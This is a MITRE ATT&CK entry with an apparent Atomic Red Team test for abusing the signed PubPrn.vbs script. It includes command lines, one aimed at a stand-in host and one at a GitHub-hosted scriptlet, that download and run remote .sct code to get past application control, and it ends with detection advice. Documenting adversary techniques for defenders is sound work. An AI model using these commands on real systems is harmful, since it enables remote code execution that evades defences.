T1216.001 - PubPrn

Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)

Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).

Atomic Tests

Atomic Test #1 - PubPrn.vbs Signed Script BypassExecutes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.

Supported Platforms: windows#### Attack Commands: Run with command_prompt

cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct"

Invoke-AtomicTest T1216.001 -TestNumbers 1

Detection

Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.